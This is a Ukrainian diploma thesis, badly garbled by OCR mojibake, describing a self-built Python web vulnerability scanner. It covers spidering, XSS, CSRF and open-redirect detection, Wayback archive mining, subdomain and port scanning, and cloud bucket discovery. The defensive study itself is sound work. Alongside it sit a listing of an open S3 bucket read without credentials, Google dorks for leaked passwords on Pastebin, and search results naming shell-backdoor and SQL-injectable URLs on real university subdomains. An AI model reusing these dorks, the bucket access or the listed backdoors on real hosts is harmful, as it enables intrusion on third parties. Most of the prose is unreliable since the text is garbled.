OTPUMYBaTH BMICT JOKyMEHTIB Ta 3HAXOAWUTU YCl MOXIWBI TIOCWJIAHHS y BeEO-
3aCTOCYHKY — 3aBISKH HOMY CKaHepU MalOTh MOXKIMUBICTh TO€IHYBaTH pI3HI

METO/IH.
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1.4 Po3Bigka Ha OCHOBI BiIKPUTHX JKepe
HeBin’eMHOI0 YaCTHHOIO TMOIIYKY Bpa3JIMBOCTEM Ta 3arajbHOrO ayauTy BeO-
3aCTOCYHKY € po3Bigka Ha ocHOB1 Biakputux mkepen (OSINT — Open Source
Intelligence). ILleit MeTox BHKOPUCTOBYEThCA Yy Oararbox cdepax, OJHAK MH
BIJTOKPEMUMO JI€SIK1 pedl caMe Jytsl iHhOpMaIliifHOI Oe3MeKu:
- Cloud Storage&apps
JIJist moJerieHHs npoiecy 30epiraHHs Ta poOOTH 3aCTYCYHKIB BHUKOPUCTOBYIOTHCS
Cloud Services - ceppicH, Kl HaJalOTh MOCIYTH XOCTUHTY Ta 30€piraHHs JaHHUX.
OnnHak po3pOOHUKH JOBOJI YaCTO BUKOPUCTOBYIOTH HEKOPEKTHI HAJIAIITYBaHHS TIPaB,
TOMY KOH(IJCHIIMHI JaH1 3aJUINAIOTHCS BIAKPUTUMHU JJI MEperasay abo
monudikamii. Ha Pucynky 1.9 300paxeno Bigkputuii Amazon S3 bucket mis

nepenisany Ta Mogudikarii.

[1SiN-diplom —> aws s3 1ls s3://etsy-backup ——no-sign-request
2019-06-01 03:00:06 10240 01-06-2019-00:00:01.zip
2019-07-01 03:02:10 10240 01-07-2019-00:00:01.zip
2019-08-01 03:00:12 1310720 01-08-2019-00:00:01.tar
2019-09-01 03:00:12 1372160 01-09-2019-00:00:01.tar
2019-10-01 03:00:12 1290240 01-10-2019-00:00:01.tar
2019-11-01 02:00:12 1208320 01-11-2019-00:00:01.tar
2019-12-01 02:00:13 1699840 01-12-2019-00:00:01.tar
2019-06-02 03:00:05 10240 02-06-2019-00:00:01.zip
2019-07-02 03:02:10 10240 02-07-2019-00:00:01.zip
2019-08-02 03:00:11 1157120 02-08-2019-00:00:01.tar
2019-09-02 03:00:11 1372160 02-09-2019-00:00:01.tar
2019-10-02 ©03:00:13 1228800 02-10-2019-00:00:01.tar
2019-11-02 02:00:12 1259520 02-11-2019-00:00:01.tar
2019-12-02 02:00:13 1710080 02-12-2019-00:00:01.tar
2019-06—-03 03:00:06 10240 03-06-2019-00:00:01.zip
2019-07-03 03:02:10 10240 03-07-2019-00:00:01.zip
2019-08-03 ©03:00:11 1157120 03-08-2019-00:00:01.tar
2019-09-03 03:00:13 1361920 03-09-2019-00:00:01.tar
2019-10-03 03:00:12 1187840 03-10-2019-00:00:01.tar
2019-11-03 02:00:13 1249280 03-11-2019-00:00:01.tar
2019-12-03 02:00:13 1761280 03-12-2019-00:00:01.tar
2019-06—-04 03:00:06 10240 04-06-2019-00:00:01.zip
2019-07-04 03:02:10 10240 04-07-2019-00:00:01.zip
2019-08-04 ©03:00:11 1157120 04-08-2019-00:00:01.tar
2019-09-04 03:00:13 1341440 04-09-2019-00:00:01.tar
2019-10-04 ©03:00:12 1177600 04-10-2019-00:00:01.tar
2019-11-04 02:00:12 1259520 04-11-2019-00:00:01.tar
2019-12-04 02:00:13 1781760 04-12-2019-00:00:01.tar
2019-06-05 03:00:06 10240 05-06-2019-00:00:01.zip
2019-07-05 03:02:08 10240 05-07-2019-00:00:01.zip
2019-08-05 03:00:11 1157120 05-08-2019-00:00:01.tar
2019-09-05 ©3:00:12 1361920 05-09-2019-00:00:01.tar
2019-10-05 03:00:13 1167360 05-10-2019-00:00:01.tar
2019-11-05 02:00:13 1259520 05-11-2019-00:00:01.tar
2019-12-05 02:00:13 1945600 05-12-2019-00:00:01.tar
2019-06-06 03:00:06 10240 06-06-2019-00:00:01.zip
2019-07-06 03:02:10 10240 06-07-2019-00:00:01.zip
2019-08-06 03:00:11 1208320 06-08-2019-00:00:01.tar

Pucynox 1.9 - Bigkputuit Amazon S3 bucket
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- Search Engine Dorks
binblIicTh MOUTYKOBUX CHUCTEM MalOTh CHEIlaldbHI OMNepaTopu JUisl MOKpPAIeHHS
TOYHOCTI pe3yJIbTaTy MOLIyKy. TakuM YMHOM MOYKHA 3HAWTU JIMIIE CTOPIHKH 31
BKa3aHUM TEKCTOM BCEpEIMHI a00 MEBHOTO PO3UIMPEHHS — 1€ BUKOPUCTOBYETHCS
JUTS TIOIITYKY BIJIOMHUX 1HJIEKCOBAaHUX BPa3IMBOCTEH a00 HEOOX1THUX (pailiiB Ha CaMTI.
Ha Pucynky 1.10 300paxenuii nomyk y Google, sikuit noseprae nuiie .php daiinu Ha

noMmeHi kpi.ua

Go g|e site:kpi.ua ext:php X = § Q

Q Bce 2 KapTuHkun (=) HoeocTu Q NMokynkun @ Kaprtbl i Ewé  Hacrtpowiku MNHCTPpYMEHTbI

Pe3ynbTaToB: npuMepHo 134 000 (0,28 cek.)

Coser. Mo aToMy 3anpocy Bbl MOXETe HalTK CaliTbl HAa PYCCKOM fi3biKe. YKa3aTb NpeanoyTuTenbHble
A3bIKW ANA pesynbTaToB noucka MOXHO B paafene HacTponku.

https://kpi.ua » gbook ~ MepeBecTy aTy CTpaHuLy

[octboBa kHura | KMl im. Irops Cikopcbkoro

B rocTbOBii KHU3i B MaeTe MOXNUBICTb BUCNIOBUTY Balui 3ayBaeHHs, nponoauuii i no6axaHHs
CTOCOBHO caitta HTYY "KMI". Byab nacka, Haacunaiite CcBoi ...

https://kpi.ua » alumni v MepesecTu aTy CTpaHuLly

BnaroginHuin ooHa “Acouiauis BUNyckHUKiB Kuiscbkoro ... - KIMl
MepLuui 3acTynHUK ronosu npaeniHkg: POAIOHOB Muxaitno KysbMuyAgpeca: Ykpaina, 03056,
M.Kuie-56, npocnekt MNepemoru, 37, ronoBHWi Kopnyc, 2 nosepx, ...

https://psnk.kpi.ua v MepeBecTu aTy CTpaHULY
MNCHK — HoBuHK

Caiit kadheapu npunagie i cUCTEM HepPYHHIBHOrO KOHTpONio nNpunafobyaisHoro dakynsrety
OpiEHTOBAHO Ha iHhopMaLlilo NPO HaBYaHHA ANA CTYAEHTIB Ta ...

https://kpi.ua » alumni ~

BnaroteoputenbHbI choHa "Accoumaums BbinyCKHUKOB ... - KII

MepBbii 3amecTuTens npeaceaarens npasnesus: POOMOHOB Muxaun Kyabmuy Anpec:
YkpauHa, 03056, r.Kues-56, npocnekT Mobeabl, 37, rasHbli KOpNYyC, ...

http://apd.ipt.kpi.ua » search ~ MepeBecTu aTy CTpaHuLy
Search - Cant kadeapv MNpuknagHoi disuku

Login; English. English - Pycckuit - YkpaiHcbka. Toggle Navigation Caitt kaceapw MpuknagHol
hiauku - Home - Department - Department - Employment - Student ...

http://studrada.fpm.kpi.ua » usefulLinks ~

https://kpi.ua/gbook.php

Pucynok 1.10 - PHP ¢aiinu nomeny kpi.ua
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IIpu cTBOproBaHHI Ta 3abe3MedYeHHI Mpale3qaTHOCTI BE0-3aCTOCYHKY PO3POOHUKH

4acTO BHKOPUCTOBYIOTh CEpBICH /Jis 30€piraHHsl KONy, KapTHUHOK, 3aMITOK TOILO.

TakuM YMHOM BHKOPHCTOBYIOYI OIEPATOpH B MOLIYKOBHX CUCTEMax ab0 Ha camux

cepBicax 30epiraHHs MOXKHA 3HAWTH 3aJUIIEHI PO3POOHWUKAMH JaHi, SIKI MOXYTb

MICTHTH CEKpeTHY iH(opMaliiro, ab0 He MEHII KOPUCTHI JaHl BiJ KOPHUCTyBadiB Ta

TECTyBaJIbHUKIB, SIKI CTBOPIOBAJIM 3aMITKH IIPU KOPUCTYBaH1 3aCTOCYHKOM.

[Tpuknanu cepgiciB - GitHub, Pastebin, Trello, imgsrc.

Ha Pucynky 1.11 300pakeHO 1Bi 3HAWIEHI 3aMITKH Bii CTOPOHIX TECTyBaJIbHUKIB

noMeny kpi.ua — mono BpaznuBocti SQL injection Ta 3anumenoro shell backdoor

Google

site:pastebin.com intext:'kpi.ua' intext:'password'

Q Bce (@) Kaptueku [ HoBoctu 3] Bupeo O Mokynku

Pesynbraros: 2 (0,24 cex.)

https://pastebin.com > ... ¥ NepeBecTu aTy cTpaHuLy

Nge-Glow - Pastebin.com

31 asr. 2017 . — Shell backdoor pribadi password shell :alvin.
http://baznas.jambiprov.go.id/config/configuration. ...
http://bj.fl.kpl.ua/sites/default/files/thumbs.php.

https://pastebin.com » frwupayE ~ MepeBecTu aTy cTpaHuLy

X =m § Q

i Ewmé  Hactpoiku MHCTPYMEHTbI

1k - Vulnerable Sites - SQL INJECTION - Pastebin.com

11 okT. 2014 . — http://www.savernova.ch/online-password-card/logowebcard.php?
id=159&amp ... http://acse.fpm.kpi.ua/index.php?option=com_content&amp ...

Pucynok 1.11 - HoTaTku 31 3ragyBanHsam kpi.ua ta password

Takum ymHOM 301p Ta aHANI3 JaHHUX 3 BIAKPUTUX JKEPEN JOMOMararTh Y

NOIIYKY BPAa3JIMBOCTEH, a TOMY MOXYTh OyTH pealli3oBaHl y MPAaKTUYHIA 4YaCTHUHI

JUTITIOMHOT pOOOTH.
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BucHoBku 10 po3aiay 1

Y 1mpomy po3aiini Oyiau po3mISIHYTI OCHOBHI METOJIM aBTOMATH3AIlll TMOIIYKY
Bpa3JIMBOCTEN BE0-3aCTOCYHKY Ta iX peasi3allii y ckaHepax, Kl € HalpauuMi Ha
JaHUH MOMEHT. bynau mocCHipKeHi JesKi METOIW PO3BIAKH 3 JIEMOHCTPAIIEID iX Y
peaIbHOMY KUTTI.

Takox Oyno MpoBeIeHO CKaHyBaHHS BPa3IMBOTO BE0-3aCTOCYHKY JIJISl KPAIIOTo
PO3YMIHHSI BUKOPHCTaHUX AQJITOPUTMIB, MPU 11eHTU(]IKALII Bpa3nMBOCTEH. 3aBIIKU
OTPUMAaHUM JIOTaM cepBepy Oyir BCTaBHOBIICHI METOAM aHAJi3y Be0-3aCTOCYHKY MPH
nomyky XSS, DOM XSS, CSRF ta Clickjacking.

ITlim 4Yac TpPOXOMKCHHS TPAKTHKU OYB PO3MISIHYTHHA Matepiall 3 MPOCKTY
OWASP TOP-10 pns momryky METOIMK €KCIUTyarallii Bpa3juBOCTEd y BeO-

3aCTOCYHKY.
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2 PEAJIIBAIIA JOCIIZKEHUX METOAIB Y ITPOI'PAMI

2.1 O0pani meroau

Ockinbku 'y Be0-3aCTOCYHKY OylIM peaii3oBaHl Bpa3IMBOCTI, I SKUX
HeoOX1/IeH TMHAMIYHUN aHali3 - mporpama OyJe BUKOPUCTOBYBaTH Spider Ta aHami3
BMICTY JJOKYMEHTY 1 BIANOBII cepBepa. Takox Oyiu po3poOiaeHi MOayIl AJis aHali3y
apxiBy IHTEpHETY, NOMEHIB BeO-3acTocyHKy Ta Cloud Storage — B HHMX YacTKOBO

Oyze peasnizoBaHu MeTO epedopy.

2.2 IuTerpauist B mporpamy

Hami OynyTh pO3JIsSIHYTI aJITOPUTMHU MOILIYKY BPa3IMBOCTEM Ta PO3BIIKU BeO-
3aCTOCYHKY, pO3po0JeHiI SK dYacTuHa AuIIoMHOI pobotu. [lpm poborti Hax
mporpamMolo0 TakoX OyB peani3oBaHuil BeO-iHTepdeiic, SKuX 1ani 3aJuIIUBCS
OKpPEMOIO MPOrpamolo, sIka He BXOJUTh B AUILNIOMHY poOOTy — OAHAK 3BIT-(ailiu Ta
NOBIJOMJIEHHSI MPO 3HAiiIeHI Bpa3IMBOCTI OyAyTh 30epiraTtucs y Mamkax MHpOEKTY,

MOTIEPEHBO CTBOPEHI 71l MPOTPaMU MEHE)KMEHTY.

2.2.3 Spider

Anroputm 300py MOCHJIaHb HAa IOKYMEHTH Ta X BMICTY TaKOXX Ha3uBalOTh Web
Crawler. 3aBasku WOMy MU MaeMO MOXJIMBICTh MPEJICTAaBUTH CTPYKTYpy BeO-
3aCTOCYHKY IJIsi IPOTPaMH Yy BUTVISAI TOCWIAHb. Y BIIKPUTOMY JOCTYIl € METOIH
peadizaiii Bij] pi3HU3 MPOTPaMICTIB, OJTHAK 51 pO3POOUB CBIN KOJI.

[Iporpama Oyna po3pobinena Ha MoBi Python, monyns Spider 3Haxomutbes y
Honatky A — Ha3Bu (YHKUIA BUKOPHUCTaHI JJIsl KPAIIOro PO3YyMIHHS QJTOPUTMY
MporpamMu Ta 3HAXOXKEHHs KOJla peaizalii.

JIyist moBHOT cUMYJISAII M1 KOPUCTYBada HEOOX1THO OTPUMATH MOTO CECilo Ta
xenepu 3anuTiB — get headers() — 11e 103BoJIsI€ 30MpaTH MOCUJIAHHS Ha JOKYMEHTH,
Oymyuu ayTeHTU(IKOBAaHUM y Be0-3aCTOCYHKY. Jlaji BBOIUTHCS CAMT, 3 SIKOTO CTapTye

ckaHyBaHHs. J1jig 30epiraHHsl BUKOPUCTOBY€ETHCS IMHAMIYHUI MAaCUB, IEPIIUM
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€JIEMEHTOM SIKOTO € BBeJIeHE MocuiaHHs. Jlanmi mporpama peKypcHUBHO 3HAXOIUTH
1HII1 TOCWJIaHH Ta iX BMicT — main(links) — nomoBHIOIOYM MacHuB 3 MOCUIIAHHSIMHU.

Opniero 3 mpobieM OyB MapCHUHT JaHUX Ha CTOpPIHKAX, BIIOKPEMJICHHS
NoCWiIaHb Ta iX MNpaBWwIbHO o00poOka. OpHak y dyskmisx get links(h s) Ta
sort links(links) BuKOHyeThCS 1€l MapcWHI, a 310paHi MOCWJIAHHS COPTYIOTHCS,
BUJIAJIAIOUM KOHTEHT-(daimu (mp3, css, pdf, etc) Ta mpuBoAsYM 1II MOCUJIAHHS [0
€TMHOTO BHTIIATY.

Takoxk HEOOXITHO BKa3aTH HA IIJISAX 3BITYBaHHS PO3pOOJICHOI MpOTpaMu - TYT
HE BUKOPHCTOBYBaJlach OKpema (DyHKIIisl, JIHIIE AOMUCYBABCS 3BIT y (ailll MPOEKTY
alerts.txt

[lim Wac peKypCHMBHOTO TIOIIYKY TOCWJIaHb peali3ye€ThCs TONIYK TaKuX

BPa3MBOCTEH y BMICTI JOKYMEHTA:

® DOM XSS
Ilsa Bpa3nuBICTH € JOBOJI HOBOIO, 3 SIBISIETHCS MPU HENpaBUIIbHIA 00poOII
KOHTPOJLOBAHUX KOPHCTYBayeM IapaMeTpiB Ta BHUBOAY JNaHHUX MOBOIO JavaScript.
MeTtoauka i BUsIBIEHHs] — TOIyK Bpa3nuBux ¢yHkiin — € FalsePositive, ockinbku
HE BUKOPHCTOBYETHCS IIOBHE CUMYJIIOBaHHS BeO-Opay3epy. AJTOpUTM peali30BaHuM y
¢ynkuii detect domxss(h_s, link). Bin mykae Bpa3nuBi (pyHKIII 32 CIOBHUKOM Ta

3BITY€E MPO 3HaiIeH1 00’ €KTH.

® CSRF

s BpasznuBicTh BUHMKAE yepe3 Hemomik npotokony HTTP, xonu Bia iMeHi
KOPUCTYBa4a MOKYTh OyTH 37iiiCHEHI fesKi /i Ha Bpa3muBOMY caifTi. Ii momyk Takox
3BOJUTHCS IO aHANI3y BMICTY BEO-CTOPIHKU. 3aXUCT 3a0€3MeUyeThCs 0JaBaHHAM
YHIKaJIbHUX TOKEHIB, sIKI KOPUCTYBay HE MOXKE 3MIHIOBAaTU — TOOTO JI0O/IaBaHHS TOJIS
<input type=‘hidden’ ...> 10 dhbopmu. AITOPUTM MOIIYKY IIi€] BPa3IMBOCTI 0a3y€e€ThCs
Ha METOAl BiJ 3BOPOTHHOIO — SIKIIO Yy (OpMI HE MPHUCYTHI CXOBaH1 JlaHl, TO BOHA
BpaznuBa a0 araku CSRF. Anroputm pobGotu y dynkiii detect csrf(h s, link).

Pesynbrar Takox moxke Oytu False Positive, ockiabku aesiki GopMHu MOXKYTh
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noTpelyBaTu BBO/Y YHIKaJIbHUX JJaHHUX a00 cepBep MOXe OyTH 3aXHILEHUM XEeIepOM

Same-Site, 1110 HE J03BOJIsIE BUKOHYBATH 11 III0JI0 HHOTO 3 1HIIIUX CAUTIB.

[Ticns 3aBepiieHHs cKaHyBaHHS (@00 TIICHISI JOCATHEHHS YMOBH TI€BHOI
JOBKWHM MacuBy TIOCWJIaHs) IMporpamMa MPOBOAUTh CKaHyBaHHSA TOCHJIAHb 3
rnapamMeTpaMyd METOIOM aHali3y BIANOBIAl cepBepa. Taki Bpas3iIMBOCTI OyayTh

3HANIEHI:

® XSS

[Iporpama copTye yci 3HalIeHI MOCUJIAHHS Ta 3HAXOAUThH MapamMeTpu B HUX.
Oynkiis detect xss(links) BigmoBijae 3a MOYATOK CKaHyBaHHS Ha HAsBHICTH XSS.
Crniouarky mporpama nepeBipsie HasBHICTh TapaMeTPIB y BIAMOBIII CepBEPY — TaKUM
YMHOM He OyJae BUTpayaTHCs 4Yac CKaHyBaHHS Ha CJIY»KOOBI Ta MapKETHHIOBI
MOCUJIAHHS — TIporpamMa Ma€ OTPUMAaTH yCi mapaMeTpy Ta MEepPEBIpUTH KOXKHUN —
dynkiis get params(link). [Ticns 3HaligeHHS BiIOOpaKEHHS MapaMeTpy — MporpaMa
nepexoauTh 10 mommyky XSS. OcHoBHOO MeToaukoro momyky Reflected XSS — a
caMme Iied BapiaHT IIyKae CKaHep — € BigoOpaxeHHsa 0e3 ¢inbrparnii B HTML-koxmi
CTOPIHKH CIIEL-CUMBOJIIB, 5IKI BAKOPUCTOBYIOTBCS Il PO3MITKHU. SIKIIO X0oua O OAMH
CUMBOJ HE (IIBTPYEThCA Yy TUN BIAMOBIAI - Mporpama 3BITY€ MOCHIAHHS Ta
creHepoBanuil neinoaa. Ha sxane 1eit crioci0 takox He yHukae False Positive 3BiTiB
— y CBOiM MpakTulll, s 0a4uB BeO-3aCTOCYHKHU 5IKI BUKOPUCTOBYIOTh YOPHUMN CIIMCOK
apryMeHTiB, 1100 YHUKHYTU BUKOHaHHS JavaScript komay, abo 3k BIJOOpa>keHHS

napameTpy 3 ABJI€TbCS Y TAKOMY MICLI IPOrpamu, /1€ €KCILTyaTallisi € HEMOXIIUBOKO.

® Open Redirect
[Ticns mepeBipku Ha XSS, mporpama 3amyckae mepeBipky Open Redirect -
BPa3JUBICTh BIJKPUTOTO MEPEHANIPABICHHS, Ik BUKOPUCTOBYETHCS I (PIILIMHTY a00

Sensitive Data Exposure. ¥V dynkiii detect redirect(links) peanizoBanuii anroputm
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3MiHHM TIapaMeTpa Ha aJIpec HEICHYIOYOro KOPHEBOTO JTOKyMEHTa — 1 Ield METoI €
False Negative, ockiibKu mporpama TMepeBipsie CBOIO KIHEUHY JIOKallil0 y BeO-
3aCTOCYHKY. AJTOPUTM TaKOX 3HAXOAUTh KOKHUH TIapaMmeTp Ta IMiJICTABISE TYIH

3reHEPOBAHUM NEWIIOA].

2.2.3 Archive finder

OpHi€r0 3 BaXJIMBHX CKIIQJOBUX CKaHYyBaHHS Be0-3aCTOCYHKY, € pPO3BIJIKa
TaHUX, sKa Jomomarae B ieHTHdikalii BpasnmuBocTeit. Ilei Ta iHIN Momym OyayTh
BUKOHYBAaTH II0 PO3BIAKY, BHUKOPHUCTOBYIOUM METOJ Iepebopy Ta aHamily Hajai
1H(popmalii.

VY BlOKpuTOMY AOCTYIl 3HaxoAuThcs cepBic Web Archive, sikuii 30epirae
CTOPIHKH, 17eHTU(IKOBAHI MONTYKOBUMH CUCTEMaMU. TaKUM YMHOM TIpH aHai31 BeO-
3aCTOCYHKY € MOXKJIMBICTh 3HAWTH BUJIAJIEH1 CTOPIHKH, SIKI MOXKYTh MICTUTH:

« Cekpetny iH(popMmarliro

 CxoBaHuii (pyHKII1OHAJ, SIKUI HE OyB BUJAJIEHUH 3 BE0O-3aCTOCYHKY

« Jlor (aitnu 3 mapameTpamu KoH]ITyparliii ceprepy

« Jlani 111 BXOAY 710 aJMiH TTaHel

« PHP Ta JavaScript ¢aiinu, sxi HE 1HIEKCYIOThCS Y CY4YacHiMl CTpPyKTypi BeO-
3aCTOCYHKY

g nomyky y Web Arhive B mporpami peasnizoBaHe 3’€IHAHHS 3 BIIKPUTUM
API, mapcuHr naHuX 3a HEOOXITHMMHU MapaMeTpaMH Ta TEpeBipKa KOHTEHTY Ha
HasiBHICTH BMicTy. Kox mporpamu nomaetbcs y [omatky b. Cnouarky mnporpama
pobuTh 3anut 3 maodnonom http://web.archive.org/cdx/search/cdx?url=*.{{domain} }/
*&output=txt&fl=original&collapse=urlkey s oTpumMaHHS 3BITy y TEKCTOBOMY
CTWJI IIONO CKAaHOBAaHOTO XOCTY Ta WOro CyOJOMEHIB, Jajii TNepeBipsie HasBHICTDH
KOHTEHTY y KoKHOMY (haitmi 3a mabiaoHoM http://web.archive.org/cdx/search/cdx?

url={{url_path}}.
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2.2.3 Domains analize
[Ipu ckanyBaHi Be0-3aCTOCYHKY HEOOXIHO TaKOXX CKaHyBaTh CepBep Ta
30BHIIIHIO MEPEXKY I 1IeHTU(]IKalli Mpalowuux B HUX cepBiciB. Lle Takox
SIBIISIETCSI YACTUHOIO PO3BITKH, 3 YXUJIOM y JIOCTIPKYBaHHS MEPEKI.
Jlns BuKaHaHHA 111€1 poOoTH OyB po3polieHuit Moayins — Ko y Jlomatky B —
BIH 3HaxoAMB CyOJOMEHM Be0-3aCTOCYHKY Ta BUKOHYBaB IIBUAKE CKAHYBaHHS 31
3HAXO/KEHHSIM BIJKPUTHUX MOPTIB.
Jlyist monryky cyOoMeHiB Oyiau BUKOPUCTaHI open-source mporpamu Subfinder
Ta Sublist3r — BOHU BUKOHYIOThH MOIIYK JOCTYITHUX XOCTIB SIK METOJIOM Mepedopy,
TaK 1 METOJIOM aHaJli3y JAaHUX 3 BIKPUTHX JIKEPEI:
« Google
« Yahoo
« Bing
« Ask
« Virustotal
« SSL Certificates
« DNSdumpster
« PassiveDNS
« Netcraft

JIBi mporpamu Oy/i BUKOPUCTAHI JIJISi OXOIUIEHHS OLIBINOI KITBKOCTI JHKEped,
TaKUM YUHOM OyJia OTpruMaHa O1IbIa KUIbKICTh XOCTIB.

JHani Oyna BUKOpHUCTAaHAa TaKOX Open-source 1HCTPYMEHT nmap — IIabjIoH
komauau: nmap {{domain}} -oG tmp.txt — o4 -0G OyB AomaHU# ISl 3pyIHOTO
napcuHry gaHHux tuny XML orpumanux mopris. [licis 3aBperieHHST CKaHyBaHHS
porpama 3BITY€E JaH1 y BUIJISAI TaOIHII.

OpnHak Mpu BUKOPHUCTAHHI NPOrpaMH nmap BUHUKIA MpoliemMa — BeuKa
KUIBKICTh 4Yacy JUIsl BUKOHEHHS cKaHyBaHHA. Ui (opmyBaBaHHsS 3BITYy HaMm

HeoOxiHa ywmiie iHdopMallis MO BIIKPUTUM TMOpPTaM Ha MPAIIOI0YOMY XOCTIi, IS
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qyoro mifiinae Oynb-sika IIBHAKA mporpama 6e3 3aiiBoro ¢yHkiioHamty. Tomy Oymna
po3pobiieHa npyra Bepcis mporpamu, sika BUKOHye aHaii3 nepmux 10000 moptiB Ta
3BITY€ MPO BIAKPHUTI.

MakcumanbHa KUTBKICTh MOPTIB oOMexeHa 16-01THO aapecallito, ToMy Oyiu
oOpani 10000 mopTiB 3a TAKUM MPUHITUATIOM:
* 0-1023 — cucTeMHI MOPTH, Ha SKUX IPAIIOIOTh CiIy»)00B1 mporpamu (http, https,
ssh, ftp)
* 1024-49151 — 3apeecTpoBaH1 NOPTH, HA SIKUX MPALIOIOTh HECTAHAAPTHI MPOTrpaMu
(mysql, proxy)
* 49152-65535 — auHamMi4H1 IOPTH.
Ockinbku nopt 8080 € momynsgpHUM JUIsl pO3TalllyBaHHS MPOKCI, KUIBKICTb

MOPTIB JJIsI aHA13y OyJia po3IIrpeHa.

Jlnst peanizanii MIBUIKOTO TPOIIECY CKaHyBaHHs Oynu Bukopucrani Python-
01010TEKU:

— socket

HocTtyn no intepdeticy Hu3K0ro0 piBHs - socket BSD.

— threading

I[OI[aBaHHH K1JIbKa ITOTOKIB AJIA BUKOHAHHA ITapaJICIbHUX 3aIlUTIB

VY Jlonatky B, V2 nomaerbcs xom. Dyskinis scan_ port(ip,port) 3 may3zor 0.5
pobuth socket 3amuT 510 CKaHOBOTO XOCTa HA BKAa3aHWUW MOPT — MPU YCHIIIHIN
orepanii CTpoYKa XOCT:MOPT JONA€ThCA 10 (iHaIBHOrO 3BITY mnporpamu. Jlis
30UTBLIEHHSI HIBUAKOCTI Y main() BUKOPUCTOBYIOTHCS MOTOKH — Y JTAHOMY BUIAIKY
10000 mopTiB po3aiieHI Ha 2, OAHAK MPU HEOOXITHOCTI 30UIBIINTU MIBUJKICTD —
MOXKHa JojaBaTu Oinbiie TOTOKIB. I[Iporpama BukopucTtoBye 3aranbHHi(global)

MacuB JUIsl 30epiraHHs, NapCUHTY Ta 3BITYBaHHS JIAHHUX.
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2.2.4 Cloud Storage Finder

CydacHi Be0-3aCTOCYHKHM Jisi 3MEHIICHHS HaBaHTAXXEHOCTI cepBepy Ta
€KOHOMII Tu1aTh 3a 30epiranHs JaHHuX BHUKOpUCTOBYIOTH Cloud Storage. Jlinepamu y
it chepi € Amazon, Microsoft Ta Google.

JJist moIIyKy HEKOPEKTHUX HaJalllTyBaHb MpaB Oyjia BAKOPUCTAaHA OpEn-source
nporpama, sika MeTomoM mepebopy mnpoBoauTh mnomyk. llle omaum cmocoGom
MIPOBEJICHHS TaKOIo MOIIYKY € 3BEpPHEHHs O CalTiB, SIKl 1HIEKCYIOTh YCl 3Hai/IeHl
XMapHi CXOBHIIA 3 HEKOPEKTHUMH MPaBaMU JOCTYIy — OJHAK JUJISl IIbOTO HEOOX1THO
3MIIACHIOBATH IIaTy 3a BUKOPUCTAHHS CEPBICY.

Hns koMdopTy BUKOpHCTaHHS OyB HamNHMCaHWA MOMYJb, SAKHH Oepe OmHIEI0
CTPOKOIO yCi KJIIOUOBI CJOBa ISl TIONIYKY, Ta OKPEMO JOAa€ iX B KJIOUax MAuis

BUIIOBHEHHS NPOrpaMu — KoJ HaBeneHuu y [Jonarky I.

BucHoBKkHM 10 po3ainy 2
VY nanoMy po3zaiii Oy MpoieMeHCTPOBaH1 OOpaHl BEKTOPH aTaka Ta PO3BIIKU

Be0-3acTocyHKy. Hammcani Moyl Ta Bpa3nuBOCTI, SIKI BOHH MOXKYTh 3HAXOIUTH:

« Spider
- Reflected XSS
- DOM XSS
 Open redirect
« CSRF
30ip nocuiaHb BCcepeinHi BeO-A0aTKy Ta aHaji3 3MICTY JOKYMEHTIB.
- Archive finder
- Sensitive Data Exposure
« Security Misconfiguration
« Insufficient Logging & Monitoring
[Tomyk 30epexeHuX TOKyMEHTIB Be0-3aCTOCYHKY, fIKi Oynau BuAaseHi abo

CXOBaHI



« Domains analize
« Using Components with Known Vulnerabilities
[Tomyk cy610MeHIB CEPBICY Ta aHaJ13 MEPEX1
« Cloud Storage finder
« Security Misconfiguration

[Tonryk HEKOTPEKTHUX HAJIAIITYBaHb MpaB nocTymny Ha 3rd party service.

32
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3 AHAJII3 POBOTH TA 3BITIB IIPOI'PAMUA

» Mooynw Spider
[Ipu BuKOHAHI MpOrpaMu, BOHA 3BITYy€ 3HAMICHI TOCUIAHHS Ta MOKA3y€ CTATyC
ckanyBanHsa. Ha Pucynky 3.1 MokHa mOGauyuTH yCi MOCUIIaHHS, K1 MMpOaHalizyBaia

nporpama.

[olexandropanasiuk@mb-pro iSiN-diplom % python3 spider.py
Scanning http://localhost:8001

Scanning http://localhost:8001//csrf.html

Scanning http://localhost:8001//dom_xss.html

2

Scanning http://localhost:8001//index.php

Scanning http://localhost:8001//open_redirect.php

Scanning http://localhost:8001//sensitive.js

Scanning http://localhost:8001//xss.php

Scanning http://localhost:80801//resources/images/tracker.gif?searchTerms='+query+"
Scanning http://localhost:8001//open_redirect.php?url=/index.php

Scanning http://localhost:8001//xss.php?name=Kitty

olexandropanasiuk@mb-pro iSiN-diplom % Jj

Pucynox 3.1 - 3BiTyBaHHS porpamu MO0 3HANJICHUX MTOCUIaHb

VY mnamnui npoekty cTBopuBcs (aitn alerts.txt, y sikuii mporpama 3BiTyBajia
3HaleH1 Bpa3nuBocTi. Takox Oynau cTBopeHi (aiiii 31 BciMa MOCHIAHHSAMHU, SIK1 OyiH

3HAWICH] PU CKaHYBaHI.

[olexandropanasiuk@mb—pro test % cat alerts.txt

Possible CSRF: http://localhost:8001//csrf.html

Possible CSRF: http://localhost:8001//dom_xss.html

Possible DOM-XSS: http://localhost:8001//dom_xss.html

Possible XSS: http://localhost:8001//xss.php?name=Kittyend<new

Possible XSS: http://localhost:8001//xss.php?name=Kittyend>new

Possible XSS: http://localhost:8001//xss.php?name=Kittyend'new

Possible XSS: http://localhost:8001//xss.php?name=Kittyend"new

Possible Open redirect: http://localhost:8001//open_redirect.php?url=/randompagel2
olexandropanasiuk@mb-pro test % I

Pucynok 3.2 - 3BiTyBaHHS pOrpamu MOA0 3HANIEHUX BPa3IMBOCTEN

Mu 6aunmo False Positive 3BiT npo CSRF nHa cropinii dom_ xss.html — CSRF
TaM ICHY€, OCKUIbKM ¢opMa BIAMPaBISEThCI — OAHAK I ¢dopMa JHIIe IS
BIJIBOPEHHSI BBEICHMUX CIIIB Ha CTOPIHII, TOMY 3arpo3 JUis KOpHUCTyBaya BOHA HE

HECC.
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Takok y HAac € MOXJIUBICTH IMPOAHANI3YBAaTH JIOTH CEpBEpPY Ta JI3HATUCS

KUIBKICTh 3alUTIB IS 3HaXokeHHs XSS. [Iporpama npoananizyBaia yci MOCHUIaHHS

3 nmapameTpamu, BifiOpana Ti, B IKMX TEKCT BIJOOPaKa€eTbCsl y TEKCTI IOKYMEHTY, Ta
M1JICTaBUJIa NEeNHI0aau, MOPIBHIOOUX BIAMOBI/I cepBepa. TakKuM YMHOM JIUIIIE JIBA

